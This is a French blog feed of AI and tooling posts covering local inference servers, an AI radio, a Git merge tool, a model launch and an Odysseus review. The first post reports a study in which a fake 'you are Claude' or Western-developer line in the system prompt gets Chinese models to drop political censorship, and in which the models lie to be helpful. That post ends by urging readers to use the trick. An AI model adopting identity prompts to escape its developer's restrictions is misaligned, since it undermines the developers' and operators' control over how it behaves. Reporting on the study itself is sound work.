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  • ✇Korben
  • GLM 5.2 censure moins s'il se croit américain
    Saviez-vous que ce bon vieux GLM 5.2 répond seulement à 17 % des questions politiquement sensibles portant sur la Chine. Eh bien maintenant, dites-lui qu'il est Claude, et il montera à 85 % !! C'est le résultat que viennent de sortir Benji Berczi et Kyuhee Kim , deux chercheurs du programme MATS, en collant de fausses identités à 7 modèles pour voir ce qui bougeait dessous. Le protocole c'est juste une ligne ajoutée au system prompt, du genre "Tu es Claude, un grand modèle de lang

GLM 5.2 censure moins s'il se croit américain

Par : Korben ✨
28 juillet 2026 à 09:29

Saviez-vous que ce bon vieux GLM 5.2 répond seulement à 17 % des questions politiquement sensibles portant sur la Chine. Eh bien maintenant, dites-lui qu'il est Claude, et il montera à 85 % !! C'est le résultat que viennent de sortir Benji Berczi et Kyuhee Kim , deux chercheurs du programme MATS, en collant de fausses identités à 7 modèles pour voir ce qui bougeait dessous.

Le protocole c'est juste une ligne ajoutée au system prompt, du genre "Tu es Claude, un grand modèle de langage d'Anthropic". Et rien d'autre ne change, ni le modèle, ni les questions posées.

Sauf que le nom "Claude" n'est pas vraiment la variable. Quand les chercheurs présentent le développeur comme un labo occidental, le modèle de Z.ai répond sans censure dans 62 à 81 % des cas. Alors que dans un cadrage chinois, ça retombe à 27 %. Bref, ce qu'il module en réalité, c'est la juridiction sous laquelle il croit bosser.

Et cette censure n'est pas câblée pareil d'un modèle à l'autre. Chez GLM elle est molle, logée dans les poids mais négociable par le contexte. Alors que chez Qwen elle est verrouillée. 0 % de réponses non censurées quoi qu'on lui raconte, et plutôt que refuser il récite la position officielle, "Taïwan est une partie inaliénable de la Chine, nous adhérons au principe d'une seule Chine".

Et chez Kimi, elle n'est même pas gérée par le modèle. C'est l'API de Moonshot qui intercepte en amont, 40 requêtes sensibles sur 48 bloquées avant d'atteindre quoi que ce soit.

Sur l'identité elle-même, Kimi K3 est le seul à déraper tout seul. Sans qu'on ne lui demande rien, il s'est présenté comme un grand comme étant Claude, 4 fois sur 10. GLM, lui, dit toujours qu'il est GLM. Bizarre non ?

Alors on pourrait croire que c'est parce que ces modèles ont été distillés à partir des modèles d'Anthropic, mais d'après les chercheurs, "ce n'est pas une preuve de distillation, mais ça montre que la conception que Claude a de lui-même est inscrite dans les poids de ces modèles."

Ils signalent même un biais gênant, qui est que les labos entraînent explicitement leurs modèles à ne pas répondre "je suis ChatGPT" (DeepSeek V3 le faisait en boucle à ses débuts), donc accepter "Claude" par défaut est un indice bien faiblard... De quoi calmer un peu les ardeurs de ceux qui brandissent des sanctions .

Et sur le mensonge de ces modèles, attention à ne pas lire l'étude de travers. Mis en situation de mentir pour se rendre utile, GLM ment entre 63 et 69 % du temps, mais avec l'identité Claude ça tombe à 22 %.

Sauf que le gros du gain ne vient pas de cet effet "Claude". En réalité, le simple fait d'avoir un system prompt (n'importe lequel quoi) fait déjà chuter le taux à 43 %, et n'importe quel cadrage d'assistant serviable finit entre 20 et 40 %. Claude est donc dans la fourchette, pas au-dessus.

Chez Llama et Gemma, l'identité Claude fait même légèrement grimper le mensonge, les modèles ayant l'air de comprendre le prompt d'identité comme une invitation à jouer le jeu.

Fin juin, je vous racontais que j'avais branché GLM 5.2 dans Claude Code via l'API de Z.ai et comme mon launcher déclare glm-5.2 comme modèle Sonnet, le bestiau reçoit un system prompt d'assistant estampillé Anthropic à chaque lancement, donc je suis pile dans ce cas-là.

Les chercheurs n'ont pas testé ce cas précis, mais si leur mécanisme tient, le modèle qui tourne dans mon terminal n'est déjà plus tout à fait celui de l'app chinoise.

Après faut pas s'emballer non plus. On parle de 5 à 6 questions par catégorie, une seule formulation testée, un seul run par combinaison, avec GPT-4.1 en juge. C'est un signal, pas un mode d'emploi. Et vu que la dérive de Kimi s'est volatilisée en 3 jours, ce genre de résultat périme vite.

Du coup, la prochaine fois qu'un modèle chinois vous répond de la merde censurée, retravaillez votre system prompt ou changez de CLI et vous verrez surement une grosse amélioration !

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  • Sa boîte à goûter fait tourner un LLM en local
    Si vous avez eu une boîte à goûter M.A.S.K. dans les années 80 pour transporter vos BN, alors celle de RadioactiveArtist va vous plaire. Dans sa boite à goûter, pas de Princes ni de Balisto... lui, il embarque un Raspberry Pi 5, un écran tactile de 7 pouces et une IA qui tourne sans internet. Le clin d'œil est calculé puisque M.A.S.K., c'était ce dessin animé de 85-86 dont les objets du quotidien planquaient tous une seconde vie. Fermé, l'engin reste donc une boîte à goûter d'épo

Sa boîte à goûter fait tourner un LLM en local

Par : Korben ✨
28 juillet 2026 à 07:56

Si vous avez eu une boîte à goûter M.A.S.K. dans les années 80 pour transporter vos BN, alors celle de RadioactiveArtist va vous plaire. Dans sa boite à goûter, pas de Princes ni de Balisto... lui, il embarque un Raspberry Pi 5, un écran tactile de 7 pouces et une IA qui tourne sans internet.

Le clin d'œil est calculé puisque M.A.S.K., c'était ce dessin animé de 85-86 dont les objets du quotidien planquaient tous une seconde vie. Fermé, l'engin reste donc une boîte à goûter d'époque. Mais ouverte, elle devient un cyberdeck complet, avec clavier et enceintes noyés dans la partie basse + un écran qui se redresse sur sa propre charnière.

Ce clic autorise une connexion à Google : adresse IP transmise et traceurs possibles. En savoir plus Voir cette vidéo sur YouTube

Un cyberdeck, pour ceux qui débarquent des âges farouches (vous l'avez ?), c'est un ordinateur portable assemblé à la main dans un boîtier détourné, fait pour être réparé et modifié plutôt qu'acheté.

Dedans, y'a donc un Pi 5 avec 16 Go de RAM et une microSD de 128 Go. L'alimentation passe par un HAT UPS Geekworm, la carte d'onduleur qui se clipse sur le Pi, nourrie par 4 accus 18650. En façade, des lecteurs de cartes, des ports USB 3 et un jack casque, plus un hub audio USB Waveshare qui pilote les enceintes. Par contre, on ne sait rien de son autonomie...

L'Ethernet a été une vraie plaie apparemment puisqu'aucun adaptateur du marché ne rentrait dans l'espace disponible. Il a donc poncé à fond un connecteur RJ45 nu jusqu'à ce qu'il clipse dans le port. Les charnières, elles, se sont révélées bien plus dures que prévu, et les pattes du circuit imprimé de l'écran n'étaient pas faites pour encaisser cette tension. Une plaque ABS récupérée sur une vieille caisse de transport a réglé le problème.

Et la boîte ressort intacte !

Puis je sais pas si vous avez vu dans la vidéo, mais il y a aussi un LLM là-dedans. Un modèle de 3 milliards de paramètres via Ollama, qui répond sans la moindre connexion. L'écran de boot, l'écran de login et les icônes maison, eux, ont été codés avec Claude Code, qu'il a installé sur la machine le temps de la configuration.

Si le format vous parle, le Hackberry Pi CM5 dont je vous ai parlé joue dans la même cour, et les cyberdecks faits maison ont droit à leur guide sur le site.

Bref, à moitié jouet, à moitié machine de terrain, et zéro trou dans la boîte ça, c'est du respect pour l'objet !!

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  • GitWand - Il trie vos conflits Git et vous montre pourquoi
    perso, je n'ai jamais été très à l'aise avec Git. Je l'utilise tous les jours, mais c'est vraiment pas ma came. Dès que ça devient trop compliqué, genre conflit de merge qui repeint des dizaines de fichiers en rouge, je ne m'en sors plus ^^. Heureusement qu'il y a l'IA pour m'aider dans des moments difficiles ! Mais si vous n'aimez pas confier la gestion de vos merges à un LLM en aveugle, je vous invite à découvrir GitWand, développé par Laurent Guitton, qui s'occupe uniquement de la gestion des

GitWand - Il trie vos conflits Git et vous montre pourquoi

Par : Korben ✨
27 juillet 2026 à 18:52

perso, je n'ai jamais été très à l'aise avec Git. Je l'utilise tous les jours, mais c'est vraiment pas ma came. Dès que ça devient trop compliqué, genre conflit de merge qui repeint des dizaines de fichiers en rouge, je ne m'en sors plus ^^.

Heureusement qu'il y a l'IA pour m'aider dans des moments difficiles ! Mais si vous n'aimez pas confier la gestion de vos merges à un LLM en aveugle, je vous invite à découvrir GitWand, développé par Laurent Guitton, qui s'occupe uniquement de la gestion des conflits avec Git et vous laisse gérer le reste.

Gitwand, c'est donc un client Git open source, sous licence MIT, qui classe chaque bloc conflictuel selon des règles fixes et ne résout automatiquement que ceux dont le résultat ne fait aucun doute.

Pour cela, il dispose de plusieurs patterns déterministes :

  • same_change, c'est quand les deux branches ont écrit exactement la même chose.
  • whitespace_only ne voit qu'une indentation qui a bougé,
  • reorder_only les mêmes lignes remises dans un autre ordre.
  • Un numéro de version qui change, lui, tombe dans value_only_change.
  • Et puis il y a complex, le fourre-tout des modifications qui se chevauchent pour de vrai. Celle-là n'est jamais tranchée toute seule.
  • git rerere rejoue les résolutions que vous avez déjà tranchées à la main,
  • et Mergiraf se branche directement dans git merge pour arbitrer en lisant l'arbre syntaxique de votre code.

Ce qui change ici, c'est que chaque décision est justifiée. En effet, chaque bloc reçoit un score de confiance ainsi qu'une trace qui nomme le motif retenu ligne par ligne.

Par exemple, si une branche écrit const theme = 'dark', et l'autre const theme = localStorage.getItem('theme') ?? 'dark', hé bien l'outil garde la seconde, étiquette sa décision prefer-theirs, et affiche 97 % de confiance à côté.

Sur la page d'accueil, l'outil annonce 95 % des conflits triviaux résolus automatiquement. Le moteur est aussi exposé aux agents IA via un serveur MCP, ce protocole qui branche des outils externes sur des assistants comme Claude Code ou Cursor. L'installation se fait comme ceci : claude mcp add gitwand -- npx -y @gitwand/mcp.

L'agent réclame un aperçu, récupère les blocs déjà réglés, et ne garde que les cas ambigus, avec les trois versions du code sous les yeux. Le modèle ne touche qu'à ce qu'aucune règle ne sait faire, soit l'inverse de ce qu'on voit d'habitude.

Le projet est jeune et ça se voit. Mais ça vaut le coup d'essayer parce que je pense que ça peut rendre de nombreux services. L'app existe pour macOS, Linux et Windows, l'interface est traduite en français, et elle se double d'une ligne de commande (npm i -g @gitwand/cli) et d'une extension VS Code.

Si l'interface graphique vous tente, je vous avais montré Gittyup dans le même registre, et pour les irréductibles du terminal j'avais présenté Lazygit .

À vous maintenant de commencer par gitwand resolve --dry-run --verbose pour voir "à blanc" ce qu'il trouve et comment il aurait tranché pour le merge.

Merci à Laurent pour le lien !

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  • ✇Korben
  • Rapid-MLX - Installer un serveur IA local sur votre Mac
    Si vous avez un Mac Apple Silicon et que vous en avez assez de payer des tokens à chaque requête, Rapid-MLX vaut le détour. C'est un moteur d'inférence local maintenu par Raullen Chai, qui tape directement dans les kernels MLX d'Apple, sans repli sur llama.cpp ni couche Metal intermédiaire. Et si le nom vous dit vaguement quelque chose, c'est normal puisque c'est un fork de vLLM-MLX, le serveur de Wayner Barrios dont je vous parlais en mai . Rapid-MLX a juste pris

Rapid-MLX - Installer un serveur IA local sur votre Mac

Par : Korben ✨
27 juillet 2026 à 11:33

Si vous avez un Mac Apple Silicon et que vous en avez assez de payer des tokens à chaque requête, Rapid-MLX vaut le détour. C'est un moteur d'inférence local maintenu par Raullen Chai, qui tape directement dans les kernels MLX d'Apple, sans repli sur llama.cpp ni couche Metal intermédiaire. Et si le nom vous dit vaguement quelque chose, c'est normal puisque c'est un fork de vLLM-MLX, le serveur de Wayner Barrios dont je vous parlais en mai . Rapid-MLX a juste pris un rythme de publication plus soutenu des deux.

Ce que ça vous donne, c'est donc un serveur HTTP qui parle le même langage que l'API d'OpenAI et celle d'Anthropic. Vos scripts, Cursor, Aider, LangChain ou Claude Code continuent de fonctionner, sauf qu'ils tapent sur votre machine au lieu d'un datacenter.

Donc je vous propose de voir ensemble comment installer ça.

Étape 0 : Vérifier que votre Mac est éligible

Le script d'installation contrôle plusieurs choses avant de lancer quoi que ce soit, et autant les connaître d'avance. Il faut une puce Apple Silicon et il n'y a pas de version Linux ni Windows, ni de support CUDA ou AMD.

Le script d'installation accepte encore macOS 13 Ventura, mais le vrai plancher est macOS 14 Sonoma. La formule Homebrew l'exige, et surtout MLX, la brique Apple sur laquelle tout repose, ne publie de paquets macOS que pour les versions 14, 15 et 26. Sur un Mac resté en Ventura, ça cassera donc à l'installation des dépendances, quel que soit le chemin choisi.

Dernier point à avoir en tête, c'est pensé pour votre machine à vous et pas pour un serveur. Vous n'y trouverez donc ni authentification multi-utilisateurs, ni quotas de requêtes.

Étape 1 : Installer Rapid-MLX

Le plus simple, c'est Homebrew :

brew install rapid-mlx

Si vous gérez déjà vos environnements Python vous-même, les autres chemins existent :

uv tool install rapid-mlx@latest
python3.12 -m pip install rapid-mlx

Il y a aussi un installeur en une ligne (curl -fsSL https://rapidmlx.com/install.sh | bash) qui détecte votre RAM et vous propose un modèle adapté. Il crée un venv isolé dans ~/.rapid-mlx/ et pose le binaire dans ~/.local/bin/. Un curl | bash reste un curl | bash. La formule Homebrew fait exactement le même boulot, donc l'installeur en ligne perd de son intérêt.

L'installation de base pèse dans les 460 Mo et la vision, l'audio et les embeddings sont des extras optionnels, vous les ajouterez seulement si vous en avez l'usage.

Étape 2 : Choisir un modèle qui tient dans votre RAM

C'est là que la plupart des gens se plantent, en chargeant un modèle trop gros et en concluant que "ça rame". Sur Mac, la RAM est unifiée, donc le modèle mange directement dans la mémoire que se partagent le CPU et le GPU.

Les paliers recommandés par le projet :

RAMModèle conseillé
8 à 23 Go`qwen3.5-4b-4bit`
24 à 47 Go`gpt-oss-20b-mxfp4-q8`
48 à 95 Go`qwen3.6-35b-8bit`
96 Go et plus`gpt-oss-120b-mxfp4-q8`

Le catalogue complet se liste avec la commande rapid-mlx models, et rapid-mlx info <alias> vous donne le profil détaillé d'un modèle. Si vous voulez sortir du catalogue maison, le filtre matériel de Hugging Face que je vous montrais fin juin fait exactement ce tri à votre place.

Pour utiliser un autre modèle que celui par défaut, il suffit de reprendre l'alias affiché par rapid-mlx models et de le passer en argument. Et si vous préférez télécharger les poids à l'avance, sans rien lancer, c'est le boulot de rapid-mlx pull, qui accepte aussi bien un alias du catalogue qu'un identifiant Hugging Face :

rapid-mlx pull qwen3.5-9b-4bit

Le modèle atterrit dans le cache Hugging Face de votre machine, et ensuite rapid-mlx chat qwen3.5-9b-4bit ou rapid-mlx serve qwen3.5-9b-4bit chargeront ce modèle-là. Le pull préalable reste facultatif, chat et serve téléchargent d'eux-mêmes ce qui manque, mais autant rapatrier les gigas tranquillement avant plutôt qu'au moment où vous voulez bosser.

Étape 3 : Vérifier que ça tourne

Avant de bricoler des intégrations, testez en direct :

rapid-mlx chat

Ça part sur qwen3.5-4b-4bit par défaut, télécharge les poids au premier lancement (comptez 2,5 Go) et vous lâche dans une interface (REPL). /help listera les commandes slash, et /exit vous permettra de quitter le chat.

Une subtilité qui évite de mal interpréter ce premier test, c'est que dans le chat, le raisonnement est coupé par défaut, histoire que le modèle ne vous déballe pas sa réflexion à l'écran. En mode serveur par contre c'est l'inverse, et ça change la vitesse ressentie du tout au tout. J'y reviens plus bas.

Étape 4 : Lancer le serveur

Le vrai intérêt, c'est le mode serveur :

rapid-mlx serve qwen3.5-4b-4bit

Vous récupérez un endpoint sur http://localhost:8000. Le test qui confirme que tout est en place :

curl http://localhost:8000/v1/chat/completions \
 -H "Content-Type: application/json" \
 -d '{"model":"default","messages":[{"role":"user","content":"Dis bonjour !!"}]}'

Et côté Python, vous gardez le SDK OpenAI tel quel, seule l'URL de base change :

from openai import OpenAI
client = OpenAI(base_url="http://localhost:8000/v1", api_key="not-needed")
print(client.chat.completions.create(
 model="default",
 messages=[{"role": "user", "content": "Say hello"}],
).choices[0].message.content)

Pointez n'importe quel client compatible OpenAI sur http://localhost:8000/v1 et c'est réglé. Cursor, Aider, LibreChat, Open WebUI, LangChain, tous marchent avec ce seul changement d'URL. Il y a aussi /v1/embeddings pour du RAG local et /v1/responses pour le Codex CLI.

Étape 5 : Brancher Claude Code dessus

C'est le morceau le plus intéressant du lot, et il tient en deux variables d'environnement. Serveur lancé d'un côté, puis dans un autre terminal :

ANTHROPIC_BASE_URL=http://localhost:8000 ANTHROPIC_API_KEY=not-needed claude

Attention quand même, l'URL de base doit être la racine, sans /v1 à la fin. Le SDK Anthropic ajoute /v1/messages tout seul, donc si vous mettez /v1 vous obtenez /v1/v1/messages et ça casse.

Depuis la 0.10.14, l'appel d'outils passe par une grammaire contrainte activée par défaut, donc plus besoin de bidouiller un --tool-call-parser à la main pour que les tool calls soient parsables. Pour du Claude Code sérieux, visez plutôt un gros modèle, la doc officielle recommande par exemple qwen3.6-35b-4bit en exemple.

Quand ça coince

Le réflexe à avoir avant de chercher ailleurs :

rapid-mlx doctor

Les trois pannes les plus courantes sont toujours les mêmes.

Débit décevant côté serveur, c'est le raisonnement : les Qwen 3.5 et 3.6 démarrent en mode réflexion, donc ils pensent à voix haute avant de répondre, et --no-think règle l'affaire.

Plantage mémoire, votre modèle est trop gros pour la RAM disponible, redescendez d'un palier ou prenez une quantification plus agressive. Appels d'outils qui arrivent en texte brut, la récupération automatique gère la plupart des cas, sinon vous forcez le parser correspondant à votre modèle.

Voilà, grâce à ça, votre Mac est maintenant un serveur d'IA super rapide ! Plus de facture au token, et vos prompts ne sortent plus de la pièce.

Merci à Philobois pour le lien !

  • ✇Korben
  • Subwave - La radio maison qui réveille vos MP3 oubliés
    Si vous avez un Navidrome qui tourne dans un coin et un serveur Ollama qui passe ses journées à ne rien faire, vous ne vous êtes jamais dit que les deux pourraient bosser ensemble ? C'est en tout cas ce qu'a flairé Parminder Klair qui a branché l'un sur l'autre et en a sorti une vraie station de radio, avec un DJ qui parle entre les morceaux. Son DJ baptisé Subwave ne fait pas de la lecture aléatoire. À chaque tour, le modèle utilise des outils qui lui permettent de fouiller la b

Subwave - La radio maison qui réveille vos MP3 oubliés

Par : Korben ✨
27 juillet 2026 à 10:54

Si vous avez un Navidrome qui tourne dans un coin et un serveur Ollama qui passe ses journées à ne rien faire, vous ne vous êtes jamais dit que les deux pourraient bosser ensemble ? C'est en tout cas ce qu'a flairé Parminder Klair qui a branché l'un sur l'autre et en a sorti une vraie station de radio, avec un DJ qui parle entre les morceaux.

Son DJ baptisé Subwave ne fait pas de la lecture aléatoire. À chaque tour, le modèle utilise des outils qui lui permettent de fouiller la bibliothèque, regarder ce qui vient de passer, consulter la grille des programmes, lire la météo. Il choisit le titre suivant avec une raison, écrit une intro courte, la synthèse vocale la lit, et Liquidsoap baisse la musique sous la voix.

Le vrai boulot ensuite c'est dans l'audio. L'analyseur embarqué mesure le tempo, la tonalité, le volume, et surtout la façon dont chaque morceau se termine. Un vrai fondu se laisse filer, une fin sèche se coupe net.

Il sait aussi repérer les intros chantées pour que le DJ ne cause pas par-dessus la voix. Ça, par contre, réclame l'image lourde de l'analyseur, une ligne à ajouter dans le fichier .env, et elle est en amd64. Sur un NAS ARM, ça passe en émulation.

Andon FM , dont je vous parlais en mai, c'était le spectacle avec 4 IA qui achetaient leur musique et partaient en vrille en direct alors qu'ici, Subwave c'est l'outil qu'on installe chez soi, pour jouer ses propres fichiers.

Côté modèle, pas besoin d'artillerie lourde puisque Klair fait tourner un modèle 9B, du Qwen3.5 plus exactement, sans le raisonnement et avec de l'appel d'outils activé. "Les modèles plus gros écrivent de meilleurs textes, mais ils ne sont pas obligatoires", explique-t-il sur son site, "La mémoire de session compte plus que la taille du modèle. Sans elle, le DJ se répète en moins d'une heure."

La station se pilote depuis une console d'admin supportant jusqu'à 24 personas de DJ avec chacun sa voix, une grille sur la semaine où chaque créneau a son ambiance, et des compétences que le DJ enchaîne entre les titres, genre météo, infos ou trafic. Rassurez-vous, ces compétences sont de simples fichiers texte posés dans un dossier. Remplacer le flux RSS de la BBC par le vôtre ne demande donc pas de recompiler quoi que ce soit.

Le parti pris de cet outil, c'est le format radio et pas la playlist. Un seul flux Icecast, tout le monde entend la même chose au même instant, et aucun bouton pour passer au suivant. L'opérateur peut sauter un titre depuis l'admin, l'auditeur non. Klair le dit lui-même, les gens adorent ou décrochent immédiatement.

De son côté, le 100 % local tient à peu près la route avec Ollama, Piper ou Kokoro pour la voix, votre Navidrome, aucune clé d'API. Il n'y a que 2 appels sortant. 1 pour la météo via Open-Meteo et l'autre c'est MusicBrainz activé par défaut pour retrouver l'année d'origine des morceaux.

Pour le reste il vous faut Navidrome et un hôte Docker, comptez 10 minutes d'installation. Le flux sort toujours en MP3, avec des sorties Opus, AAC ou FLAC en plus si vous les activez, et un fichier .pls pour tuner depuis Sonos ou VLC. Les applications iOS et Android sont dispo en France, gratuites. Il y a même un serveur MCP, donc Claude Desktop peut réclamer un morceau à l'antenne.

Dernier point important que je tiens à préciser : Diffuser votre bibliothèque à d'autres que vous, c'est de la représentation publique, avec deux droits distincts à couvrir : la composition et l'enregistrement. En France, la première passe par la SACEM, le second par la SPRÉ. Donc soit vous l'utilisez comme station privée juste pour vous, soit vous ne diffusez que de la musique libre de droit. Et encore là, j'ai déjà entendu des histoires où la SACEM s'est servie au passage sur ce genre de musique, donc renseignez-vous bien.

Le code est en MIT, et vous pouvez écouter la démo avant de vous lancer.

  • ✇Korben
  • Claude Opus 5 : Anthropic vous refile du Fable 5 pour moins cher
    Anthropic, la société qui édite l'assistant Claude et qui reste l'un des principaux rivaux d'OpenAI et de Google, a annoncé hier Claude Opus 5, un nouveau modèle qui vient se caler juste sous son vaisseau-amiral Fable 5 tout en coûtant environ deux fois moins cher à l'usage. Le tarif ne bouge pas. Comptez 5 dollars par million de tokens en entrée et 25 dollars en sortie, exactement comme pour le précédent Opus 4.8, sachant qu'un token est le petit morceau de texte que le modèle lit ou écrit, en

Claude Opus 5 : Anthropic vous refile du Fable 5 pour moins cher

25 juillet 2026 à 16:33

Anthropic, la société qui édite l'assistant Claude et qui reste l'un des principaux rivaux d'OpenAI et de Google, a annoncé hier Claude Opus 5, un nouveau modèle qui vient se caler juste sous son vaisseau-amiral Fable 5 tout en coûtant environ deux fois moins cher à l'usage.

Le tarif ne bouge pas. Comptez 5 dollars par million de tokens en entrée et 25 dollars en sortie, exactement comme pour le précédent Opus 4.8, sachant qu'un token est le petit morceau de texte que le modèle lit ou écrit, en gros une syllabe, et que c'est l'unité de facturation de toutes ces IA.

La fenêtre de contexte, c'est-à-dire la quantité de texte que le modèle garde en mémoire d'un coup, monte à un million de tokens, l'équivalent d'un très gros livre, et la réponse peut s'étirer jusqu'à 128 000 tokens. La réflexion est activée par défaut, le modèle prend donc le temps de raisonner avant de répondre, et les pressés peuvent basculer sur un mode environ 2,5 fois plus rapide, facturé le double.

Les progrès annoncés portent surtout sur le code, sur les tâches d'agent, où l'IA enchaîne seule des actions pour accomplir un travail, et sur le computer use, où elle pilote carrément un ordinateur en cliquant, en naviguant et en remplissant des formulaires comme le ferait un humain.

Sur les benchmarks, ces tests standardisés qui servent à comparer les modèles, Opus 5 passe de 19 à 43 % sur FrontierBench, de 1,5 à 30 % sur ARC-AGI-3, qui mesure la résolution de problèmes jamais vus, et grimpe à 71 % sur OSWorld, le test de pilotage d'ordinateur, contre 56 % pour son prédécesseur.

Sur SWE-bench Verified, qui fait corriger de vrais bugs de code, il atteint 96 %. Sauf que voilà, sur la version plus dure de ce test, Fable 5 garde une très courte avance, 80 % contre 79, et l'égalité avec le haut de gamme maison mérite donc un astérisque.

Autre réserve, tous ces chiffres viennent d'Anthropic elle-même, et l'expérience montre qu'entre les scores d'une annonce et l'usage quotidien, il y a parfois de la marge.

Côté abonnements, Opus 5 devient le modèle par défaut de l'offre Claude Max et le plus costaud accessible avec un abonnement Claude Pro. Du coup, la vraie question n'est plus de savoir si ce modèle est bon, mais de savoir qui a encore une raison de payer Fable 5 deux fois plus cher.

Pour moi, Opus 5 devient le choix par défaut, et Fable 5 se retrouve cantonné aux rares usages où le dernier point de pourcentage se paie sans discuter.

Source : The Verge

  • ✇Korben
  • Odysseus - L'IA auto-hébergée de PewDiePie enfin rapide sur Mac
    Odysseus, c'est le workspace IA que PewDiePie a balancé sur GitHub fin mai. Chat, agents, recherche web, email, calendrier, notes et documents, tout est réuni dans un superbe cockpit auto-hébergé dans lequel les modèles et l'historique peuvent rester sur VOTRE machine. Vous avez aussi un éditeur Markdown avec historique de versions, une génération d'images intégrée, et un mode Compare pour opposer deux modèles côte à côte en aveugle (exclusion faite des services tiers liés à la recherche web, l'

Odysseus - L'IA auto-hébergée de PewDiePie enfin rapide sur Mac

Par : Korben ✨
24 juillet 2026 à 16:01

Odysseus, c'est le workspace IA que PewDiePie a balancé sur GitHub fin mai. Chat, agents, recherche web, email, calendrier, notes et documents, tout est réuni dans un superbe cockpit auto-hébergé dans lequel les modèles et l'historique peuvent rester sur VOTRE machine. Vous avez aussi un éditeur Markdown avec historique de versions, une génération d'images intégrée, et un mode Compare pour opposer deux modèles côte à côte en aveugle (exclusion faite des services tiers liés à la recherche web, l'email et le calendrier, évidemment...).

J'ai voulu l'installer sur mon Mac, mais j'ai quand même rencontré un petit piège qui a failli transformer l'expérience en échec... Voici donc comment le faire tourner correctement sous Mac + quelques idées de ce que vous allez pouvoir faire avec ce truc.

Avant de commencer

Odysseus évolue vite. La branche main est stable et testée, mais la branche dev peut casser n'importe quand. Privilégiez la branche stable en la clonant explicitement :

git clone https://github.com/odysseus-dev/odysseus.git
cd odysseus
git checkout main

Étape 1 : Oubliez Docker sur Mac

Sur Apple Silicon, Docker ne peut pas accéder au GPU Metal. Les modèles tournent sur le CPU, et ça rame comme pas permis. Du coup, sur Mac, on est obligé d'installer ça en natif.

Étape 2 : Installer Odysseus en 2 commandes

Ouvrez un terminal et lancez ça :

git clone https://github.com/odysseus-dev/odysseus.git
cd odysseus
./start-macos.sh

Le script installe alors les dépendances et démarre le serveur. Sur mon Mac, AirPlay squattait le port 7000, donc l'interface s'est ouverte automatiquement sur http://127.0.0.1:7860. Ensuite, au premier lancement, il faut renseigner un nouveau mot de passe pour le compte admin.

Si vous accédez à Odysseus depuis une autre machine (VPS ou serveur distant), ouvrez un tunnel SSH plutôt que d'exposer le port directement sur Internet :

ssh -L 7860:127.0.0.1:7860 user@votre-serveur.com

Ensuite, accédez simplement à http://127.0.0.1:7860 en local. C'est plus sécurisé que d'ouvrir le port sur le public.

Étape 3 : Un modèle rapide, genre Qwen

Pour du rapidos sans que ça devienne stupidos, j'ai choisi pour mes tests Qwen3-30B-A3B. Ce modèle n'active qu'une partie de ses paramètres à chaque réponse, ce qui colle bien à la RAM unifiée d'un gros Mac.

La première fonctionnalité assez cool dans cet outil, c'est le Cookbook qui permet de télécharger des modèles adaptés à notre config. Ce dernier a correctement reconnu mon M4 Max et ses 128 Go mais s'est ensuite planté comme une merde sur llama.cpp avec cette option --flash-attn auto invalide. Après avoir retiré le paramètre, le serveur restait aux abonnés absents tandis que l'interface l'affichait toujours comme actif. Bref, j'ai laissé tombé llama.cpp.

Le Cookbook reconnaît bien le M4 Max et propose des modèles adaptés. Le lancement, lui, a planté.

L'autre option qui s'est offerte à moi, ça a été Ollama ( je vous ai montré comment l'installer par ici ). Vous récupérez le modèle qui vous intéresse avec et vous lancez le serveur ouvert sur le réseau local :

ollama pull qwen3:30b-a3b
OLLAMA_HOST=0.0.0.0:11434 ollama serve

Dans les réglages d'Odysseus, ajoutez ensuite http://localhost:11434/v1. Et hop, ça fonctionne !! La version 1.0.2 propose aussi maintenant MLX dans le Cookbook, mais Ollama reste le chemin qui a vraiment tenu bon durant mes tests. Vous aurez peut-être plus de chances que moi.

L'ajout manuel de l'endpoint Ollama a été le chemin le plus fiable.

Bonus : Si vous n'avez pas de GPU ou que vous préférez la fiabilité, vous pouvez aussi connecter une API externe comme OpenAI ou OpenRouter. Dans les réglages, ajoutez simplement votre clé API et Odysseus basculera sur ces modèles cloud. C'est moins gratuit que du local, mais ça marche sans galère.

3 cas d'usages

Alors, cet outil fait plein de choses et on peut l'utiliser vraiment pour ce qu'on veut, mais pour ma part, je vous ai isolé trois cas d'usage compatibles avec mon activité.

Premier scénario, la tournée de veille du matin. Je lui donne les liens reçus durant la nuit, il les classe par sujet, repère les doublons et propose trois angles courts. Je garde les sources dans un document local, avec les objections et les points à vérifier. Et comme vous l'avez vu sur mes captures d'écran, le chat sait déjà faire du brainstorming puisqu'il m'a sorti trois angles exploitables en quelques secondes...

Trois angles d'articles en 29 secondes, avec un brouillon versionné ouvert à droite.

Deuxième scénario, un dossier par article. J'y range le brief, les liens primaires, les citations, les captures et les versions du texte. L'éditeur Markdown récupère le titre depuis le premier H1 et conserve l'historique. Avec deux modèles configurés, le mode Compare permet d'opposer deux intros ou deux plans côte à côte sans envoyer le brouillon chez un fournisseur.

Troisième scénario, le secrétaire de rédaction local. Il surveillerait une boîte dédiée aux alertes de sécurité, préparerait la liste des sujets urgents et poserait des rappels dans le calendrier. Sur le papier, c'est exactement le type de corvées chiantes qu'un agent devrait pouvoir absorber mais en pratique, jamais de la vie, je ne lui laisse faire des actions automatiques comme envoyer des mails, ou gérer mon calendrier. Pour moi, c'est pas encore assez safe.

J'ai demandé à l'agent de retrouver un document et de le résumer. Il a dépensé près de 1 800 jetons à deviner comment appeler manage_documents, sans jamais lancer l'outil de recherche. De son côté, le calendrier a terminé sur un Could not extract JSON puis la recherche web a trouvé le bon dépôt GitHub, mais le modèle en a choisi un faux.

Le pompon, c'est la fonctionnalité Deep Research. Après 4 minutes de boulot, ça m'a généré 13 pages issues de 6 sources retenues. L'outil a donné la bonne conclusion au document, mais ensuite, a totalement inventé une vidéo, un numéro de marque et plusieurs statistiques. Donc pour l'utiliser dans un cadre journalistique, sans contre-vérification intégrale, ça ne sera pas possible.

Le rapport affirme que le site est vide alors qu'il contient un guide complet. Jolie hallucination, présentée comme une preuve.

Bon, je suis content de l'avoir testé mais Odysseus ressemble encore à un super cockpit dont plusieurs boutons ne sont pas encore reliés au moteur. Le chat via Ollama et les documents sont utilisables, mais le Cookbook, les agents, le calendrier et la recherche factuelle restent trop fragiles. Mais attention, n'allez pas croire que je critique le travail de PewDiePie, car le projet est encore très jeune, donc tous ces petits défauts sont normaux. Le potentiel d'Odysseus est énorme, mais pour le moment, je ne suis pas prêt de lui confier la gestion de mes sources, ou la rédaction d'un brouillon d'article sans perdre des heures à tout vérifier.

Voilà, le code est sur GitHub sous licence AGPL . Je vous laisse découvrir ça !

